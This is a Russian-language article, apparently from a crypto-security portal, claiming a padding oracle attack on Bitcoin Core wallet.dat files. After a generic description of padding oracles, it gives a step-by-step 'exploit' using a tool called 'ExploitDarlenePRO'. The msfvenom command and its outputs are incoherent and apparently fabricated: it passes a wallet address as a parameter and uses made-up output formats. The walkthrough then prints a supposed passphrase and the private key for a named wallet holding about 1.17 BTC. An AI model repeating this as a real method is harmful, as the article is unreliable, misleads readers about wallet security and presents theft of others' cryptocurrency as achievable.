Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core
В этой статье мы воспользуемся классификацией распространенных шаблонов атак из ресурса кибербезопасности [CAPEC™]. В первые об “Padding Oracle Attack” на Wallet.dat заговорили в далеком 2012 году (на платформе по управления уязвимостями и анализа угроз “VulDB”). Проблема самого популярного кошелька Bitcoin Core влияет на работу AES Encryption Padding в файле Wallet.dat
Технические подробности данной атаки известны:
Злоумышленник может эффективно расшифровывать данные, не зная ключа расшифровки, если целевая система сливает данные о том, произошла ли ошибка заполнения при расшифровке зашифрованного текста.
Целевая система, которая передает информацию такого типа, становится заполняющим оракулом, и злоумышленник может использовать этот оракул для эффективной расшифровки данных, не зная ключа дешифрования, выдавая в среднем 128*b вызовов заполняющему оракулу (где b — это количество байт в блоке зашифрованного текста).
Помимо выполнения расшифровки, злоумышленник также может создавать действительные зашифрованные тексты (т. е. выполнять шифрование) с помощью оракула заполнения, и все это без знания ключа шифрования.
Любая криптосистема может быть уязвима для атак оракула заполнения, если зашифрованные сообщения не аутентифицируются для обеспечения их достоверности перед расшифровкой, а затем информация об ошибке заполнения передается злоумышленнику.
Этот метод атаки может использоваться, например, для взлома систем CAPTCHA или расшифровки/изменения информации о состоянии, хранящейся в объектах на стороне клиента (например, скрытых полях или файлах cookie).
Этот метод атаки представляет собой атаку по побочному каналу на криптосистему, которая использует утечку данных из неправильно реализованной процедуры дешифрования для полного подрыва криптосистемы. Одного бита информации, который сообщает злоумышленнику, произошла ли ошибка заполнения во время расшифровки, в какой бы форме она ни была, достаточно, чтобы злоумышленник взломал криптосистему. Этот бит информации может прийти в форме явного сообщения об ошибке заполнения, возвращенной пустой страницы или даже того, что серверу требуется больше времени для ответа (временная атака).
Эту атаку можно запустить в междоменном режиме, когда злоумышленник может использовать междоменные утечки информации, чтобы получить биты информации от оракула заполнения из целевой системы/службы, с которой взаимодействует жертва. В симметричной криптографии атака оракула заполнения может быть выполнена в режиме шифрования AES-256-CBC (который используется Bitcoin Core), при котором «оракул» (источник) передает данные о том, является ли заполнение зашифрованного сообщения правильно или нет.
Такие данные могут позволить злоумышленникам расшифровать сообщения через оракул, используя ключ оракула, не зная ключа шифрования.
Перейдем к практической части и выполним ряд действии через эксплойт, чтобы в процессе заполнить оракул в файле Wallet.dat и в конечном итоге найти необходимый нам пароль в бинарном формате.
Раннее исследователи и участники турнира CTF выложили в публичный доступ взломанный [ wallet.dat 2023 года] Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b на сумму: 44502.42 долларов США // БИТКОИН: 1.17461256 BTC
Перейдем по ссылке на releases Bitcoin Core version 22.1
Index of /bin/bitcoin-core-22.1/
Установить Bitcoin Core version 22.1
ОБЯЗАТЕЛЬНО! Перезагрузите программу QT // Запустите обратно Bitcoin Core
Нажимаем клавиши: Ctrl + Q
Необходимо перезагрузить программу QT, для того чтобы синхронизировать новый wallet.dat
ExploitDarlenePRO
Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/
cd modules/ ls cd exploits/
Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip
!unzip ExploitDarlenePRO.zip
cd /
cd content/metasploit-framework/
ls
Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины.
Запустим команды:
!ip addr
!hostname -I
Воспользуемся инструментом для создания полезной нагрузки MSFVenom
Для эксплуатации выбираем Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
Команда запуска:
!./msfvenom 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat
Результат:
1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101
Полученный бинарный формат нам необходимо сохранить в файл: walletpassphrase.txt воспользуемся Python-скриптом.
Откроем файл: walletpassphrase.txt
ls
cat walletpassphrase.txt
Результат:
walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60
Пароль для доступа к приватному ключу найден!
Воспользуемся командой dumpprivkey "address" через консоль Bitcoin Core
Команды:
walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60
dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Результат:
KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
Приватный Ключ Получен!
Установим библиотеку Bitcoin Utils
pip3 install bitcoin-utils
Запустим код для проверки соответствие Биткоин Адреса:
Все верно! Приватный ключ соответствует Биткоин Кошельку.
Откроем bitaddress и проверим:
ADDR: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz HEX: 3A32D38E814198CC8DD20B49752615A835D67041C4EC94489A61365D9B6AD330
Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.